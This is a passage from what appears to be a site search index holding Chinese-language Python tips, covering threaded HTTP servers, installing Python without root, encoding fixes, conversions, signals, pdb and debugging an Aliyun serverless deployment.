\\u7701\\u7565handler\\u7684\\u4ee3\\u7801\\uff0c\\u4e00\\u4e9bdo_GET\\uff0cdo_POST\\u7684\\u51fd\\u6570\\n\\nhttpd = MyHTTPServer( ('0.0.0.0', 80), MyHandler)\\nhttpd.serve_forever()\\n</code></pre> <p>\\u600e\\u4e48\\u77e5\\u9053MyHTTPServer\\u7684\\u7236\\u7c7b\\u786e\\u5b9e\\u88ab\\u4fee\\u6539\\u4e86\\u5462\\uff1f \\u53ef\\u4ee5\\u67e5\\u770b\\u5176__mro__\\u5c5e\\u6027\\uff08Method Resolution Order attribute\\uff09</p>\"},{\"location\":\"Python/#old-version\",\"title\":\"Old version \\u4fee\\u6539\\u5e93\\u4ee3\\u7801(\\u4e0d\\u5efa\\u8bae)\",\"text\":\"<p>\\u53c2\\u8003\\u8d44\\u6599\\uff1a\\u5229\\u7528Python\\u4e2dSocketServer \\u5b9e\\u73b0\\u5ba2\\u6237\\u7aef\\u4e0e\\u670d\\u52a1\\u5668\\u95f4\\u975e\\u963b\\u585e\\u901a\\u4fe1</p> <p>\\u76f4\\u63a5\\u4fee\\u6539BaseHTTPServer\\u7684\\u4ee3\\u7801\\u4e2d\\u7684\\u4e00\\u4e2a\\u7ec6\\u8282\\uff0c\\u5c06BaseHTTPServer\\u7c7b\\u7ee7\\u627f\\u7684\\u539f\\u5148\\u53ea\\u80fd\\u652f\\u6301\\u5355\\u4e2a\\u8bf7\\u6c42\\u7684SocketServer.TCPServer\\u6539\\u4e3a\\u6bcf\\u4e2a\\u8fde\\u63a5\\u4e00\\u4e2a\\u7ebf\\u7a0b\\u7684SocketServer.ThreadingTCPServer\\uff0c\\u4f7fBaseHTTPServer\\u80fd\\u652f\\u6301\\u5e76\\u53d1\\u800c\\u4e0d\\u662f\\u4e00\\u6b21\\u53ea\\u80fd\\u5904\\u7406\\u5355\\u4e2a\\u8bf7\\u6c42</p> <p>Python3\\u7684\\u65b9\\u6cd5\\uff1a</p> <p>\\u5728Python3\\u4e2dBaseHTTPServer\\u6539\\u540d\\u4e3ahttp.server\\u4e86\\uff0c\\u9996\\u5148\\u627e\\u5230http.server\\u6240\\u5728\\u7684py\\u6587\\u4ef6\\uff1a</p> <pre><code>python3 -c \\\"import http.server; print(http.server)\\\"\\n</code></pre> <p>\\u4fee\\u6539\\u5176\\u63d0\\u793a\\u7684\\u6587\\u4ef6\\uff0c\\u4f8b\\u5982\\u6211\\u8fd9\\u91cc\\u662f<code>/usr/lib/python3.4/http/server.py</code></p> <p>\\u641c\\u7d22<code>class HTTPServer</code>\\uff0c\\u5982\\u679c\\u662f\\u7528vim\\u53ef\\u4ee5\\u7528<code>/class HTTPServer</code></p> <p>\\u4fee\\u6539\\u627e\\u5230\\u7684\\u8fd9\\u4e00\\u884c\\uff0c\\u6539\\u4e3a\\uff1a</p> <pre><code>class HTTPServer(socketserver.ThreadingTCPServer):\\n</code></pre> <p>Python2\\u7684\\u65b9\\u6cd5\\uff1a</p> <p>\\u9996\\u5148\\u627e\\u5230BaseHTTPServer\\u5728\\u54ea\\uff1a</p> <pre><code> python -c \\\"import BaseHTTPServer; print(BaseHTTPServer)\\\"\\n</code></pre> <p>\\u4fee\\u6539\\u5bf9\\u5e94\\u7684\\u6587\\u4ef6\\uff0c\\u5982/usr/lib/python2.7/BaseHTTPServer.py\\uff0c\\u6ce8\\u610f\\u4e0d\\u8981\\u6253\\u5f00\\u4ed6\\u76f4\\u63a5\\u63d0\\u793a\\u7684pyc\\u6587\\u4ef6\\u800c\\u662f\\u8981\\u5bf9\\u5e94\\u7684\\u540c\\u540dpy\\u6587\\u4ef6</p> <p>\\u627e\\u5230\\u8fd9\\u884c\\uff08vim\\u4e2d\\u53ef\\u4ee5\\u8f93\\u5165<code>/class HTTPServer</code>\\u8fdb\\u884c\\u641c\\u7d22\\uff09\\uff1a</p> <pre><code>class HTTPServer(SocketServer.TCPServer):\\n</code></pre> <p>\\u4fee\\u6539\\u5176\\u7ee7\\u627f\\u7684\\u7236\\u7c7b\\uff1a</p> <pre><code>class HTTPServer(SocketServer.ThreadingTCPServer):\\n</code></pre>\"},{\"location\":\"Python/#rootpython\",\"title\":\"\\u65e0root\\u6743\\u9650\\u5b89\\u88c5Python\",\"text\":\"<p>\\u4e0b\\u8f7d\\u6700\\u65b0\\u7248python\\u6e90\\u7801\\u540e\\u6307\\u5b9aprefix\\u7f16\\u8bd1\\uff0c\\u5047\\u8bbe\\u7528\\u6237\\u76ee\\u5f55\\u4e3a/home/chenyuan</p> <pre><code>apt-get install libssl-dev openssl curl -O https://www.python.org/ftp/python/3.5.2/Python-3.5.2.tgz\\ntar -xzf Python-3.5.2.tgz\\ncd Python-3.5.2/\\n./configure --prefix=/home/chenyuan/python3\\nmake\\nmake install &gt;/dev/null\\npushd /home/chenyuan/python3/bin\\ncp python3 python\\ncp pip3 pip\\nalias python3=`pwd`/python\\nalias pip3=`pwd`/pip\\n</code></pre>\"},{\"location\":\"Python/#_1\",\"title\":\"\\u4e2d\\u6587\\u8f93\\u51fa\\u4e71\\u7801\\u95ee\\u9898\",\"text\":\"<p>\\u65b9\\u6cd51\\uff1a\\u8fd0\\u884cpy\\u524d\\u8bbe\\u7f6e\\u73af\\u5883\\u53d8\\u91cf</p> <pre><code>export PYTHONIOENCODING=utf8\\n</code></pre> <p>\\u65b9\\u6cd52\\uff1a\\u5f3a\\u5236\\u4fee\\u6539stdout</p> <pre><code>import sys\\nsys.stdout=open(1, 'w', encoding='utf-8', closefd=False)\\n</code></pre>\"},{\"location\":\"Python/#pep8\",\"title\":\"\\u9075\\u5faaPEP8\\u68c0\\u67e5\\u4f60\\u7684\\u4ee3\\u7801\",\"text\":\"<p>pycodestyle</p> <p>\\u5b89\\u88c5\\u5e76\\u4f7f\\u7528pycodestyle\\u68c0\\u67e5\\u4ee3\\u7801\\uff0c\\u5ffd\\u7565E501\\u4e00\\u884c\\u4e0d\\u80fd\\u957f\\u4e8e80\\u4e2a\\u5b57\\u7b26\\u7684\\u9650\\u5236\\uff1a</p> <pre><code>pip install pycodestyle\\npycodestyle --show-source --ignore=E501 yourcode.py\\n</code></pre>\"},{\"location\":\"Python/#_2\",\"title\":\"\\u751f\\u6210\\u968f\\u673a\\u5b57\\u7b26\\u4e32\",\"text\":\"<pre><code>import random\\nimport string\\ndef random_str(length=8):\\n    return \\\"\\\".join(random.sample(string.ascii_letters, length))\\n</code></pre> <pre><code>from random import Random\\ndef random_str(randomlength=8):\\n    str = ''\\n    chars = 'AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0123456789'\\n    length = len(chars) - 1\\n    random = Random()\\n    for i in range(randomlength):\\n        str+=chars[random.randint(0, length)]\\n    return str\\n</code></pre>\"},{\"location\":\"Python/#python_2\",\"title\":\"Python\\u89e3\\u65b9\\u7a0b\",\"text\":\"<p>\\u9700\\u8981 <code>pip install sympy</code></p> <pre><code>from sympy import *\\n# \\u89e3\\u4e00\\u5143\\u65b9\\u7a0b\\uff1a\\n#   2x^2-18=0\\nx=Symbol('x')\\nprint(solve(2*x**2-18,x))\\n# \\u5f97\\u5230[-3,3]\\n\\n# \\u89e3\\u65b9\\u7a0b\\u7ec4\\n#   y=1-x\\n#   3x+2y-5\\nx,y=symbols('x y')\\nprint(solve([ y-1+x, 3*x+2*y-5 ], [ x , y ]))\\n# \\u5f97\\u5230{x: 3, y: -2}\\n</code></pre>\"},{\"location\":\"Python/#in\",\"title\":\"\\u5927\\u6570\\u636e\\u5224\\u65adin\",\"text\":\"<p>\\u4e00\\u5b9a\\u8981\\u7528set\\uff0c\\u56e0\\u4e3aset\\u7684in\\u64cd\\u4f5c\\u662fO(1)\\u7684\\uff0c\\u7528list\\u662fO(n)\\u901f\\u5ea6\\u592a\\u6162</p>\"},{\"location\":\"Python/#pythonh-no-such-file-or-directory\",\"title\":\"\\u89e3\\u51b3Python.h: No such file or directory\",\"text\":\"<pre><code>apt-get install -y python-dev python3-dev\\n</code></pre> <p>\\u5982\\u679c\\u4e3aCentOS\\u7cfb\\u7edf\\uff1a</p> <pre><code>yum install python-devel\\n</code></pre>\"},{\"location\":\"Python/#_3\",\"title\":\"\\u4e8c\\u8fdb\\u5236\\u5b57\\u7b26\\u4e32\\u8f6c\\u666e\\u901a\\u5b57\\u7b26\\u4e32\",\"text\":\"<p>\\u65b9\\u6cd5\\u4e00\\uff1a\\u5c06\\u5b57\\u7b26\\u4e32\\u6bcf8\\u4e2a\\u5206\\u6210\\u4e00\\u7ec4\\uff0c\\u7528int\\u8f6c10\\u8fdb\\u5236\\uff0c\\u518d\\u7528chr\\u8f6c\\u4e3aascii\\u5b57\\u7b26</p> <pre><code>s=\\\"0110001101111001\\\"\\nans=\\\"\\\"\\nfor i in range(0,len(s)//8):\\n    x = s[i*8:i*8+8]\\n    ans+=chr(int(x,2))\\n</code></pre> <p>\\u65b9\\u6cd5\\u4e8c\\uff1a\\u5229\\u7528binascii\\uff0c\\u5148\\u7528int\\u8f6c\\u4e3a10\\u8fdb\\u5236\\uff0c\\u7136\\u540e\\u8f6c\\u4e3a16\\u8fdb\\u5236\\u5b57\\u7b26\\u4e32\\uff0c\\u8c03\\u7528unhexlify\\u6267\\u884c\\u7ffb\\u8bd1</p> <pre><code>import binascii\\ns=\\\"0110001101111001\\\"\\nans=binascii.unhexlify('%x'%int(s,2)).decode()\\n</code></pre> <p>\\u8865\\u5145\\uff1a\\u76f8\\u5e94\\u7684\\u5982\\u679c\\u8981\\u628a\\u5341\\u8fdb\\u5236\\u8f6c\\u4e3a\\u4e8c\\u8fdb\\u5236\\uff0c\\u53ef\\u4ee5\\u7528bin(123)[2:]</p>\"},{\"location\":\"Python/#bytes\",\"title\":\"\\u5341\\u516d\\u8fdb\\u5236\\u5b57\\u7b26\\u4e32\\u8f6cbytes\\u5b57\\u7b26\\u4e32\",\"text\":\"<pre><code>from base64 import b16encode,b16decode\\nprint( b16encode(b'py3.io').decode() ) #output: 7079332E696F\\nprint( b16decode(\\\"7079332E696F\\\".upper()) ) #output: b'py3.io', \\u8fd9\\u91cc\\u4f7f\\u7528upper\\u8f6c\\u5927\\u5199\\n</code></pre> <p>\\u76f8\\u5e94\\u7684\\uff0c\\u62ff\\u5230\\u4e00\\u4e2a\\u5341\\u8fdb\\u5236\\u6570\\uff0c\\u8f6c\\u5b57\\u7b26\\u4e32\\uff1a</p> <pre><code>key = 5287002131074331513\\nprint( b16decode( hex(key)[2:].upper() ) )#output: b'I_4m-k3y'\\n</code></pre>\"},{\"location\":\"Python/#python3pat\",\"title\":\"\\u7528Python3\\u5199PAT\\u5fc3\\u5f97\",\"text\":\"<ul> <li> <p>\\u5982\\u679c\\u53d1\\u751f\\u683c\\u5f0f\\u9519\\u8bef\\uff0c\\u68c0\\u67e5\\u8f93\\u51fa\\u7684\\u6700\\u540e\\u4e00\\u884c\\u7684print\\uff0c\\u52a0\\u4e0aend=\\u201d\\u201c\\u8868\\u793a\\u4e0d\\u8981\\u6362\\u884c</p> </li> <li> <p>\\u5982\\u679c\\u6570\\u636e\\u89c4\\u6a21\\u5927\\u5bfc\\u81f4\\u8d85\\u65f6\\uff0c\\u4ee3\\u7801\\u4e2d\\u7684in\\u64cd\\u4f5c\\u524d\\u5148\\u628alist\\u8f6c\\u4e3aset\\uff0c\\u80fd\\u5927\\u5e45\\u5ea6\\u63d0\\u901f</p> </li> </ul>\"},{\"location\":\"Python/#requestspost\",\"title\":\"\\u7528requests\\u8fdb\\u884cpost\",\"text\":\"<p>\\u9700\\u8981\\u6ce8\\u610f\\u52a0\\u4e0a\\u8fd9\\u4e24\\u4e2a\\u53c2\\u6570\\uff1a</p> <pre><code>,allow_redirects=False,headers={\\\"Content-Type\\\": \\\"application/x-www-form-urlencoded\\\"}\\n</code></pre> <p>\\u767b\\u5f55\\u8bf7\\u6c42\\u7684\\u65f6\\u5019\\u662f\\u8981\\u6839\\u636e\\u8fd4\\u56de\\u7684headers\\u91cc\\u9762Location\\u6709\\u6ca1\\u6709\\u5bf9\\u4e0d\\u5bf9\\u6765\\u5224\\u65ad\\u767b\\u5f55\\u662f\\u5426\\u6210\\u529f\\u7684\\uff0c\\u800crequests\\u9ed8\\u8ba4\\u4f1a\\u8ddf\\u968f301/302\\u8df3\\u8f6c\\uff0c\\u5bfc\\u81f4\\u65e0\\u6cd5\\u83b7\\u53d6\\u5230\\u8df3\\u8f6c\\u8bf7\\u6c42\\u7684headers\\uff0c\\u6240\\u4ee5\\u52a0\\u4e0a<code>allow_redirects=False</code></p> <p>\\u53e6\\u5916\\u5c31\\u662fpost\\u6570\\u636e\\u7684\\u65f6\\u5019\\u5fc5\\u987b\\u7ed9\\u51fa\\u6b63\\u786e\\u7684Content-Type\\uff0c\\u5426\\u5219\\u670d\\u52a1\\u5668\\u4e0d\\u8ba4\\u8fd9\\u4e2apost\\u7684</p> <p>\\u518d\\u8005\\u5c31\\u662f\\u53ef\\u80fd\\u5bf9\\u65b9\\u6709\\u53cd\\u722c\\u866b\\u63aa\\u65bd\\uff0c\\u52a0\\u4e0aReferer\\u548cUser-Agent\\u5c31\\u597d\\u54af</p> <p>\\u5982\\u679c\\u9700\\u8981\\u63d0\\u4ea4\\u7684\\u662fjson\\u7684\\u6570\\u636e\\uff0c\\u8bb0\\u5f97post\\u7684data\\u7684\\u5355\\u53cc\\u5f15\\u53f7\\u8981\\u6b63\\u786e\\uff0c\\u5e94\\u8be5\\u7528json.dumps\\u7684\\u7ed3\\u679c\\u53bbpost</p> <p>\\u5982\\u679c\\u8981\\u505a\\u722c\\u866b\\uff0c\\u6b22\\u8fce\\u4f7f\\u7528\\u6211\\u7684EasyLogin\\uff0c\\u65e0\\u9700\\u518d\\u64cd\\u5fc3\\u8fd9\\u4e9b\\u7ec6\\u8282\\uff0c\\u4e13\\u6ce8\\u4e8e\\u6838\\u5fc3\\u722c\\u866b\\u4ee3\\u7801</p>\"},{\"location\":\"Python/#tkinter\",\"title\":\"\\u901a\\u8fc7tkinter\\u83b7\\u53d6\\u3001\\u4fee\\u6539\\u526a\\u8d34\\u677f\",\"text\":\"<p>\\u652f\\u6301py2\\u548cpy3\\uff0cLearned from https://www.daniweb.com/programming/software-development/code/487653/access-the-clipboard-via-tkinter</p> <pre><code>try:\\n    from tkinter import Tk\\nexcept ImportError:\\n    from Tkinter import Tk\\nroot = Tk()\\nroot.withdraw() #\\u9690\\u85cfTk\\u7684\\u7a97\\u53e3\\ntext = \\\"Donnerwetter\\\"\\n# \\u6e05\\u7a7a\\u526a\\u8d34\\u677f clear clipboard\\nroot.clipboard_clear()\\n# \\u5199\\u5165\\u526a\\u8d34\\u677f write text to clipboard\\nroot.clipboard_append(text)\\n# \\u8bfb\\u53d6\\u526a\\u8d34\\u677f text from clipboard\\nclip_text = root.clipboard_get()\\nprint(clip_text)  # --&gt; Donnerwetter\\n</code></pre>\"},{\"location\":\"Python/#_4\",\"title\":\"\\u7b26\\u53f7\\u6570\\u4e0e\\u65e0\\u7b26\\u53f7\\u6570\\u8f6c\\u6362\",\"text\":\"\"},{\"location\":\"Python/#_5\",\"title\":\"\\u65e0\\u7b26\\u53f7\\u2192\\u6709\\u7b26\\u53f7\\uff0c\\u4e3a\\u4e86\\u52a0\\u4e0a\\u8d1f\\u53f7\\uff1a\",\"text\":\"<pre><code>import ctypes\\nctypes.c_int64(17039472050328044269).value\\n</code></pre> <p>\\u4e0a\\u8ff0\\u5c06\\u5f97\\u5230-1407272023381507347</p>\"},{\"location\":\"Python/#_6\",\"title\":\"\\u6709\\u7b26\\u53f7\\u2192\\u65e0\\u7b26\\u53f7\\uff0c\\u4e3a\\u4e86\\u53bb\\u6389\\u8d1f\\u53f7\\uff1a\",\"text\":\"<pre><code>import ctypes\\nctypes.c_uint64(-1407272023381507347).value\\n</code></pre> <p>\\u4e0a\\u8ff0\\u5c06\\u5f97\\u523017039472050328044269</p>\"},{\"location\":\"Python/#signalsigalrm-only-linux\",\"title\":\"\\u4f7f\\u7528signal.SIGALRM\\u5728\\u9650\\u5b9a\\u65f6\\u95f4\\u540e\\u9000\\u51fa\\u8fdb\\u7a0b (only Linux)\",\"text\":\"<p>\\u5728\\u8bbe\\u8ba1CTF\\u7684\\u9898\\u76ee\\u7684\\u65f6\\u5019\\uff0c\\u6709\\u5fc5\\u8981\\u9650\\u5236\\u7528\\u6237\\u7684\\u8fde\\u63a5\\u65f6\\u95f4\\uff0c\\u8fd9\\u65f6\\u5019\\u7b80\\u5355\\u65b9\\u6848\\u5c31\\u662f\\u7528SIGALRM\\u4fe1\\u53f7\\u54af</p> <pre><code>def clock(timeout=5):\\n    import signal\\n    def signal_handler(signum,data):\\n        if signum == signal.SIGALRM:\\n            print(\\\"Time is up!\\\")\\n            exit()\\n    signal.signal(signal.SIGALRM, signal_handler)\\n    signal.alarm(int(timeout))\\n</code></pre>\"},{\"location\":\"Python/#ctrlc\",\"title\":\"\\u6355\\u6349\\u7528\\u6237\\u7684Ctrl+C\",\"text\":\"<p>\\u7279\\u6b8a\\u60c5\\u51b5\\u4e0b\\u6211\\u4eec\\u60f3\\u5c4f\\u853d\\u6389Ctrl+C\\uff0c\\u8fd9\\u65f6\\u5019\\u5199\\u4e2a\\u81ea\\u5df1\\u7684\\u51fd\\u6570\\u5904\\u7406SIGALRM\\u4fe1\\u53f7\\u5c31\\u597d\\u5566</p> <pre><code>import signal\\n\\ndef signal_handler(signum,data):\\n    if signum == signal.SIGINT:\\n        print(\\\"Ctrl+C is pressed!\\\")\\n        #raise KeyboardInterrupt\\n\\nif __name__ == '__main__':\\n    signal.signal(signal.SIGINT, signal_handler)\\n    sleep(666)\\n</code></pre>\"},{\"location\":\"Python/#signalsigalrm-only-linux_1\",\"title\":\"\\u4f7f\\u7528signal.SIGALRM\\u5b9e\\u73b0\\u5b9a\\u65f6\\u5668 (only Linux)\",\"text\":\"<p>\\u5b9e\\u73b0\\u4e00\\u4e2a\\u7c7b\\u4f3cJavascript\\u7684setInterval\\u529f\\u80fd</p> <pre><code>import signal\\nfrom time import sleep\\nINTERVAL=1\\nCOUNT=0\\ndef signal_handler(signum,data):\\n    global COUNT\\n    if signum == signal.SIGALRM:\\n        # \\u4f60\\u7684\\u5b9a\\u65f6\\u5668\\u4ee3\\u7801\\u5199\\u5728\\u8fd9\\u91cc Your function here\\n        print(\\\"Count! {}\\\".format(COUNT))\\n        COUNT+=1\\n        signal.alarm(int(INTERVAL)) #\\u518d\\u8bbe\\u7f6e\\u4e00\\u4e2aclock\\u5c31\\u80fd\\u5faa\\u73af\\u5f80\\u590d\\u54af\\n\\nif __name__ == '__main__':\\n    signal.signal(signal.SIGALRM, signal_handler)\\n    signal.alarm(int(INTERVAL))\\n    sleep(23333)\\n</code></pre>\"},{\"location\":\"Python/#pdb\",\"title\":\"\\u4f7f\\u7528pdb\\u8fdb\\u884c\\u8c03\\u8bd5\",\"text\":\"<p>\\u5728\\u9700\\u8981\\u8c03\\u8bd5\\u7684\\u6587\\u4ef6\\u5934\\u90e8\\u52a0\\u5165</p> <pre><code>import pdb\\n</code></pre> <p>\\u9700\\u8981\\u505c\\u4e0b\\u6765\\u7684\\u5730\\u65b9\\u52a0\\u5165</p> <pre><code>pdb.set_trace()\\n</code></pre> <p>Tutorial: https://github.com/spiside/pdb-tutorial</p>\"},{\"location\":\"Python/#pythonserverlessfunction-as-service\",\"title\":\"\\u4f7f\\u7528Python\\u5f00\\u53d1Serverless(Function as Service)\\u540e\\u7aef\\u670d\\u52a1\",\"text\":\"<p>\\u9879\\u76ee\\u5730\\u5740 &amp; \\u90e8\\u7f72\\u8fc7\\u7a0b</p> <p>\\u5982\\u679c\\u60a8\\u53ea\\u662f\\u9700\\u8981\\u90e8\\u7f72\\u4e00\\u4e2aExample\\uff0c\\u2191\\u2191\\u2191(\\u987a\\u624b\\u6c42\\u4e2aStar)\\uff1b\\u5982\\u679c\\u60a8\\u5bf9\\u8fd9\\u4e2a\\u4ee3\\u7801\\u662f\\u5982\\u4f55\\u5199\\u51fa\\u6765\\u7684\\u548c\\u8e29\\u5751\\u8fc7\\u7a0b\\u611f\\u5174\\u8da3\\uff0c\\u7ee7\\u7eed\\u770b\\u5427\\uff1a</p>\"},{\"location\":\"Python/#_7\",\"title\":\"\\u8e29\\u8fc7\\u7684\\u5751\\u4e0e\\u89e3\\u51b3\\u8fc7\\u7a0b(\\u8bba\\u963f\\u91cc\\u4e91\\u662f\\u600e\\u4e48\\u628a\\u4eba\\u6c14\\u6b7b\\u7684)\",\"text\":\"\"},{\"location\":\"Python/#1api\",\"title\":\"1.API\\u7f51\\u5173\\u4e0e\\u51fd\\u6570\\u8ba1\\u7b97\\u7684\\u5bf9\\u63a5\",\"text\":\"<p>\\u6309\\u7167\\u6559\\u7a0b\\uff0c\\u5f53\\u65f6\\u4e0d\\u591f\\u8010\\u5fc3\\uff0c\\u62ff\\u7740hello world\\u7684\\u7a0b\\u5e8f\\uff08\\u4e0d\\u8981\\u4fe1\\u6559\\u7a0b\\u4e2d\\u76842.1\\u90e8\\u5206\\u7684\\u622a\\u56fe\\uff09\\u5c31\\u5728\\u4f7f\\u7528API\\u7f51\\u5173\\uff0c\\u7ed3\\u679c\\u603b\\u662f\\u8fd4\\u56de503</p> <p>\\u8010\\u5fc3\\u4e0b\\u6765\\u770b\\u6587\\u6863\\u628a\\u7a0b\\u5e8f\\u6539\\u4e3a\\u540e\\u9762\\u7684\\u649e\\u5899\\u5f0f\\u7a0b\\u5e8f\\u5c31\\u597d\\u4e86\\uff0c\\u4eba\\u5bb6\\u5176\\u5b9e\\u8bf4\\u4e86\\u51fd\\u6570\\u8ba1\\u7b97\\u5e94\\u8be5\\u8fd4\\u56de\\u7684\\u6570\\u636e\\u7ed3\\u6784\\uff0c\\u4e0d\\u6309\\u7167\\u8fd9\\u4e2a\\u7ed3\\u6784\\u6765\\u5c31\\u4f1a503\\uff1a</p> <pre><code>{\\n    \\\"isBase64Encoded\\\": True\\u6216\\u8005False,\\n    \\\"statusCode\\\": 200, #\\u53ef\\u4ee5\\u4e3a302\\u6765\\u5b9e\\u73b0\\u8df3\\u8f6c\\n    \\\"headers\\\": {...} #\\u8fd4\\u56de\\u7684response headers\\uff0c\\u4f46\\u5176\\u4e2d\\u7684Content-Type\\u6ca1\\u6709\\u4f5c\\u7528\\n    \\\"body\\\": \\\"...\\\" #\\u8fd4\\u56de\\u7684\\u7f51\\u9875\\u6b63\\u6587\\u5185\\u5bb9\\n}\\n</code></pre>\"},{\"location\":\"Python/#2api\",\"title\":\"2.\\u4fee\\u6539API\\u7f51\\u5173\\u53c2\\u6570\\u5b9a\\u4e49\\u540e\\u8981\\u518d\\u6b21\\u53d1\\u5e03\",\"text\":\"<p>\\u65e0\\u8bba\\u6709\\u6ca1\\u6709\\u6539Mock\\u8bbe\\u7f6e\\uff0c\\u53ea\\u8981\\u6539\\u52a8\\u4e86\\u8bbe\\u7f6e\\u90fd\\u9700\\u8981\\u91cd\\u65b0\\u53d1\\u5e03\\uff0c\\u53d1\\u5e03\\u7ebf\\u4e0a\\u7248\\u672c\\u5373\\u53ef</p>\"},{\"location\":\"Python/#3windowsfclifcliexe\",\"title\":\"3.\\u4e0d\\u80fd\\u4f7f\\u7528Windows\\u7248\\u672c\\u7684fcli\\u5de5\\u5177(fcli.exe)\",\"text\":\"<p>\\u4eba\\u5bb6\\u5df2\\u7ecf\\u53d1\\u5e03\\u4e86\\u65b0\\u7248\\u672c\\u7684fcli\\u89e3\\u51b3\\u4e86\\u6b64\\u95ee\\u9898</p> <p>\\u8fd9\\u4e2abug\\u7b80\\u76f4\\u4e86\\uff0c\\u6574\\u4e2a\\u6d41\\u7a0b\\u5982\\u4e0b\\uff1a</p> <p>\\u6309\\u7167\\u6587\\u6863\\u8bf4\\u660e\\u4e00\\u8def\\u90e8\\u7f72\\u4e0a\\u4f20\\u90fd\\u6ca1\\u6709\\u95ee\\u9898\\uff0c\\u8c03\\u7528\\u51fd\\u6570\\u7684\\u65f6\\u5019\\u5374\\u8bf4<code>Unable to import module 'index'</code></p> <p>\\u7136\\u540e\\u6211\\u5c31\\u5728Linux\\u670d\\u52a1\\u5668\\u4e0a<code>docker pull python:2.7</code>\\u7136\\u540e<code>docker run -it --rm -v /root/ical:/code</code> python:2.7 /bin/bash<code>\\uff0c\\u8fdb\\u5165bash\\u540e</code>cd /code; python<code>\\uff0c\\u8fdb\\u5165python\\u540e</code>import index`</p> <p>\\u554a\\u54c8\\uff0c\\u53d1\\u73b0\\u662f<code>ImportError: No module named 'bs4'</code>\\uff0c\\u81ea\\u5df1\\u7684\\u9505\\uff0c\\u7528<code>pip install bs4 -t .</code>\\u4e00\\u4e2a\\u4e2a\\u89e3\\u51b3\\u4f9d\\u8d56\\u5305\\u540e\\uff0c\\u5728docker\\u5bb9\\u5668\\u4e2d\\u603b\\u7b97\\u662f\\u80fd\\u591f\\u8dd1\\u8d77\\u6765\\u4e86\\uff0c\\u4e14\\u80fd\\u6b63\\u5e38\\u8fd4\\u56de\\u4e86</p> <p>\\u7136\\u540e\\u7528<code>fcli.exe shell</code>\\u7684<code>mkf</code>\\u518d\\u4e0a\\u4f20\\u4e00\\u6b21\\uff0c\\u8c03\\u7528\\u51fd\\u6570\\u8fd8\\u662f\\u8001\\u6837\\u5b50<code>Unable to import module 'index'</code>\\uff0c\\u4ee4\\u4eba\\u5f88\\u6293\\u72c2\\u3002\\u3002\\u3002</p> <p>\\u7a81\\u7136\\u60f3\\u5230\\u4e0d\\u80fd\\u88abimport\\u5e94\\u8be5\\u662f\\u5168\\u5c40\\u7684import\\u5931\\u8d25\\u4e86\\uff0c\\u591a\\u6b21\\u6298\\u817e\\u540e\\uff0c\\u628a<code>from grabber import grabber</code>\\u79fb\\u52a8\\u5230index\\u51fd\\u6570\\u4e2d\\uff0c\\u603b\\u7b97\\u5f97\\u5230\\u4e86\\u660e\\u786e\\u7684\\u62a5\\u9519\\uff1a\\u8fd8\\u662f<code>ImportError: No module named 'bs4'</code>\\uff1b\\u54c8\\uff1f\\u8fd9\\u662f\\u4ec0\\u4e48\\u9b3c\\uff0c\\u660e\\u660e\\u6211\\u90fd\\u628abs4\\u6587\\u4ef6\\u5939\\u653e\\u5230\\u4ee3\\u7801\\u76ee\\u5f55\\u4e0b\\u4e86\\uff0c\\u4e3a\\u5565\\u8fd8\\u662f\\u62a5\\u9519\\uff1f</p> <p>\\u65e2\\u7136\\u4ed6\\u8bf4import\\u5931\\u8d25\\uff0c\\u4f1a\\u4e0d\\u4f1a\\u662fPython\\u641c\\u7d22\\u5305\\u7684PATH\\u7684\\u95ee\\u9898\\uff0c\\u4e8e\\u662fGoogle\\u5230\\u4e86\\u628a\\u5f53\\u524d\\u6587\\u4ef6\\u6240\\u5728\\u7684\\u76ee\\u5f55\\u52a0\\u5165\\u641c\\u7d22\\u7684\\u65b9\\u6cd5\\uff1a</p> <pre><code>sys.path.append(os.path.dirname(os.path.abspath(__file__)))\\n</code></pre> <p>Orz, \\u8fd8\\u662f\\u6ca1\\u6709\\u7528\\u3002\\u3002\\u3002</p> <p>\\u60f3\\u5230\\u65e2\\u7136\\u90e8\\u7f72\\u540e\\u4ee3\\u7801\\u6587\\u4ef6\\u5939<code>/code</code>\\u6ca1\\u6709\\u6211\\u9700\\u8981\\u7684\\u4f9d\\u8d56\\u5305\\uff0c\\u90a3<code>/code</code>\\u6587\\u4ef6\\u5939\\u91cc\\u9762\\u5230\\u5e95\\u6709\\u5565\\u5462\\uff1f\\u679c\\u65adfuck\\u4e00\\u4e0b\\uff0c\\u5728index\\u51fd\\u6570\\u5f00\\u5934\\u5199\\u4e0a:</p> <pre><code>def index():\\n    return {\\\"fuck\\\": list(os.listdir(\\\"/code\\\"))}\\n    import bs4 #\\u4f1a\\u51fa\\u9519\\u7684import\\n    ...#\\u6b63\\u5e38\\u4ee3\\u7801\\n</code></pre> <p>\\u603b\\u7b97\\u8c03\\u7528\\u6210\\u529f\\u4e86\\uff0c\\u7136\\u540e\\u4e00\\u770b\\u8f93\\u51fa\\u7ed3\\u679c\\uff0cwoc! (\\u5185\\u5fc3\\u4e2d\\u9a82\\u4e86\\u591a\\u6b21mdzz\\u963f\\u91cc\\u4e91</p> <p>\\u7ed9\\u5f20\\u622a\\u56fe\\uff1a</p> <p></p> <p>os.listdir\\u5e94\\u8be5\\u8fd4\\u56de\\u7684\\u662f\\u5f53\\u524d\\u8fd9\\u4e2a\\u6587\\u4ef6\\u5939\\u4e0b\\u542b\\u6709\\u7684\\u6587\\u4ef6\\u540d\\u79f0\\u548c\\u6587\\u4ef6\\u5939\\u540d\\u79f0\\uff0c\\u800c\\u73b0\\u5728\\u6211\\u4eec\\u770b\\u5230\\u7684\\u662f\\u542b\\u6709<code>\\\\\\\\</code>\\u5f88\\u50cf\\u8def\\u5f84\\u540d\\u7684\\u4e1c\\u897f\\uff0c\\u8bf4\\u660e\\u8fd9\\u4e2afcli.exe\\u628awindows\\u7684<code>\\\\\\\\</code>\\u8def\\u5f84\\u540d\\u5f53\\u6210\\u4e86\\u6587\\u4ef6\\u540d\\u7684\\u4e00\\u90e8\\u5206\\uff0c\\u90e8\\u7f72\\u540e\\u5728/code\\u6587\\u4ef6\\u5939\\u4e0b\\u4e5f\\u5c31\\u5bf9\\u5e94\\u521b\\u5efa\\u4e86\\u540d\\u79f0\\u4e3a<code>bs4\\\\\\\\__init__.py</code>\\u8fd9\\u6837\\u7684\\u6587\\u4ef6(\\u6839\\u672c\\u6ca1\\u6709bs4\\u5b50\\u6587\\u4ef6\\u5939)\\uff0cPython\\u5f53\\u7136\\u4f1a\\u627e\\u4e0d\\u5230bs4\\u8fd9\\u4e2a\\u